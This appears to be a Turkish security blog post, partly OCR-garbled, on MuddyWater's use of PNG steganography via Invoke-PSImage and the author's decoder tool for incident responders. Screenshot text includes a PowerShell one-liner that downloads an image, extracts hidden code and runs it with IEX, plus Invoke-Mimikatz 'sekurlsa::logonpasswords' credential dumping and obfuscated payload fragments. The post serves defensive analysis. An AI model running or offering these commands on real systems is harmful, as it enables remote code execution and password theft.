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Tirkiye'deki kurumlari da hedef alan Muddy Water gibi organize siber saldiri
gerceklestiren APT gruplarinin son yillarda gerceklestirdikleri
operasyonlarina baktigimizda, zaman zaman Steganografi tekniginden
faydalandiklarini goruyoruz. Bu teknik sayesinde siber saldirganlar, sosyal
mihendislik saldirisi ile sizmaya calistiklari hedef son kullanici sistemine,
gozle ayirt edilemeyecek zararli kod parcasinin gorintlu dosyasinin ic¢inde
indirilmesini ve c¢alistirilmasini saglamaktadirlar.

Steganografinin ilk kullanimina M.0 400’10 yillarda “Tarihin babasi” olarak
anilan Herodot‘un Historia olarak bilinen eserinde rastlanmaktadir.Bu eserde
Demaratus, Yunanistan’a yaklasan bir saldiriyi tahta bir tabletin uzerine
kazidiktan sonra lUzerini balmumu ile kaplar ve mum eritildikten sonra

tablette saldiriya dair uyari ortaya cikar.

Hem 2018 yilindan bu yana haberlere konu olmasi hem de Mitre’nin T1027
teknigi sayfasinda yer almasi sebebiyle PNG gorinti dosyasinin piksellerine
Powershell kodu eklemeye yarayan Invoke-PSImage araci dikkatimi cekti.
Internette ufak bir arastirma yaptigimda bu arac ile olusturulmus PNG
dosyasindaki Powershell kodunu ortaya c¢ikaran bir arac¢ bulamadigim igin olay

midahale (IR) uzmanlarina fayda saglayacak bir arac¢ hazirlamaya karar verdim.

Ilk olarak Invoke-PSImage aracinin nasil calistigini anlamak icin kaynak
koduna g6z attigimda hedef olarak verile bir PNG dosyasinin R (RED), G
(GREEN), B (BLUE) renk kodlarindan (her biri 8 bayt boyutundadir) G ve B’nin
en disik degerlikli bitleri (Least Significant Bit-LSB) ile oynayip (bu
sayede goruntl kalitesi dusse de insan godzi bu farki kolay kolay anlayamaz)
her defasinda ayni aritmetik islemlere ([math]::Floor(( $p.B-bandl15)*16) -
bor("$p.G -band 15)) sokarak gizlenmis Powershell kodunu calistirdigini
ogrendim. Hep ayni aritmetik isleme soktugu ic¢in islemi tersine cevirerek
gizli Powershell koduna ulasmak pratikte mimkin oldugu ig¢in amacima bir adim
daha yaklasmis oldum.
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PS C:\Windows\system32> sal a New-Object;Add-Type -Assemplgfame “System.Drawhfo”:$9= a System.Drawing.Bitmap((a Net.WebC
lient).OpenRead( "I S0 ERE LT N VA LIVt ) ) ; So=A Byte[] 2204160;(0. "I 147) 1% (foreach($x in (0..1919))($p=%9.Get

Pixel($x,$_);%0[$_»1920+$x]=([math]::Floor(($p.B -band 15)x16) -bor ($p.G -band 15))})};$g.Dispose(); IEX{[System.Text.Enc
oding]::ASCII.GetString($o0[0..2204115]));Invoke-Himikatz
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mimikatz(powershell) # sekurlsa::logonpasswords
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Araci hazirlamadan Once hedef goOrinti dosyasinda gizli bir mesaj olup
olmadigini anlamanin kolay bir yolu var mi1i diye arastirirken cok sayida
aracin yanisira iki tane oldukca faydali web sitesi ile karsilastim. Ikisinde
de Muddy Water APT grubu tarafindan bir operasyonda kullanilan EPUWBt3.png
dosyasini analiz ettigimde tatmin edici sonuc¢lar ile karsilastim.

Bunlardan ilki olan McAfee’'nin web sitesine (FireEye — McAfee birlesmesi
sonrasinda bu araci web sitesinden kaldirdilar) EPUWBt3.png dosyasini

ylikledigimde dosyanin slipheli olduguna dair bir uyari mesaji ile karsilastim.
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Suspicious: Yes - Image might be concealing data using
steganography
Confidence Level: High
Score: 707.5172646019503
Scan Time: 4339 ms
Errors: false
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image is not larger than 1024x768 and the size is less
than 1 MB
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(**) Processing time might vary between 1 and 25 seconds depending on multiple factors such as
your current location, file size and format, and service load. Depending on the image format and
amount of concealed data, this Beta tool may not always detect steganography.
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Aperi’Solve isimli diger web sitesine EPUWBt3.png dosyasini yikledigimde ise
0zellikle yesil ve mavi renk kodlarindaki farklilik bu goérinti dosyasinda

supheli bir durum oldugunu ortaya koyuyordu.
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Sira araci hazirlamaya geldiginde EPUWBt3.png gorinti dosyasini ¢ézen
Powershell kodunu Visual Studio Code ile hata ayiklama ile adim adim analiz
ettikten sonra Invoke-PSImage araci ile goruntu dosyalarina gizlenen
Powershell kodlarini ortaya c¢ikaran psimage decoder.py isimli yeni aracim,
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siber guvenlik uzmanlarinin kullanimi i¢in hayata merhaba demis oldu.

XXX Windows 10 EHE ) QF O GLOE « X

) File Edit Selection View Go Run Terminal Help Untitled1.ps1 - Visual Studio Code X

RUN me untite = > 2 ¥ T O 0O b > B m
v VARIABLES c: > Users > mertrix > Desktop > Untitled1.ps1 >
v Auto
$$: "$global:_ psEditorServices_CallStack" Add-Type -A System.Drawing;
$7: "$global:_ psEditorServices_CallStack” $g=a System.Drawing.Bitmap("C:\Users\mertrix\Desktop\EPUWBt3.png");
-6 $o=a Byte[] 60528;
" 5 (0..96) |%{
$ConfirmPreference: foreach($x in(@..623))

PYR O S, {

v WATCH
> $p:
> $g:

$x: @ 15

$:0 IEX([System.Text.Encoding]::ASCII.GetString($o[0..60162]))

$p=$g.GetPixel($x,%$_);
$o[$_*624+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))

> $o:
$rows = [math]::Ceiling($payload.Length/$width)
\ CALL STACK PAUSED ON BREAKPOINT $array = ($rows*$width)
<ScriptBlock> Untitled1.ps1 89 $1lrows = ($rows-1)
<ScriptBlock> L = 5 $lwidth = ($width-1)
$1lpayload = ($payload.Length-1)

$o=a Byte[] $array;
(@..$1rows) |%
' BREAKPOINTS {
¥ Untitled1.ps1
¥ Untitled1.ps1

foreach($x in(@..$1lwidth))
{
5 $p=$g.GetPixel($x,%_);
¥ Untitled1.ps1  C:\Us \Deskto $o[$_*$width+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))
¥ Untitled1.ps1
¥ Untitled1.ps1 C:\Us \Deskto };
¥ Untitled1.ps1
¥ Untitled1.ps1
& ¥ Untitled1.ps1
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¥ C:\WINDOWS\system32\cmd.exe

EPUWBt3.ps1 ® PSImage Decoder v1.0 [https://www.mertsarica.com]

@ > U > trix > Desktop > ctf19 > EPUWBLt3.ps1
e = Usage: python psimage_decoder.py <PNG file>

Set-StrictMode -Version 2
C:\Users\mertrix\Desktop\ctf19>python psimage_decoder.py EPUWBt3.png > EPUWBt3.psl

C:\Users\mertrix\Desktop\ctf19>,

N ePHBGTNgmKXzttweCYhZszdrysPdwijusJIZuFanOrjWUKsAMyBVgafFwkdXgObiQTAQTIjspsAGXsBtE}
Param ($xHVnbI1lfpQydSxAarAxImyfUrzelCXIIVihULhH1GKAVEmMdRsgurSAFACKcN1DXiBffgIZAgLbQHkz(
$rKwWmvBGcaMesLvvMwqtoXkVWATnn1hWhjnWEeOVswVQeFhTvfulrsjgWDTeEMSAYeQrTyZNzuGVLbdSI1MIaLn
$sihYhpUSSptjgaCNozZAdcTgoraHKD1K1iIKjojvIxwQVLZRQagBGIvxQoeXHvSKaXpYSHgoKEAItUOQBVIVBfi

return $sihYhpUSSptjgaCNoZAdcTgoraHKD1K1iIKjojvIxwQVLZRQagBGIvxQoeXHvSKaXpYSHgoKEATtUO(

n EKxfoX1AHigMTxmPKhUkBcZnmgghAoXotstbdTiQeTfCWnzCuWBdbICHTBpoJswiYUYMRBWpfYCFKURLar
Param (

[Parameter(Position = @)] [T [1] $b1YFGRwHbRbQHWLYvWMWXjVvTLYIkvIFjVnjQzyLkRrgFxxBoyndKyQAaTogomwvuIWggFSQSrzkZsUhSWAngMVjArnRpNymyGYsQlWzWVgzBbKz
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PowerShell Integrated Console v2021.2.2 <

Ln14,Col34 TabSize:4 UTF-8 CRLF PowerShell <3 Starting Powershell.. & 0Q

Bir sonraki yazida goOrismek dilegiyle herkese givenli gunler dilerim.
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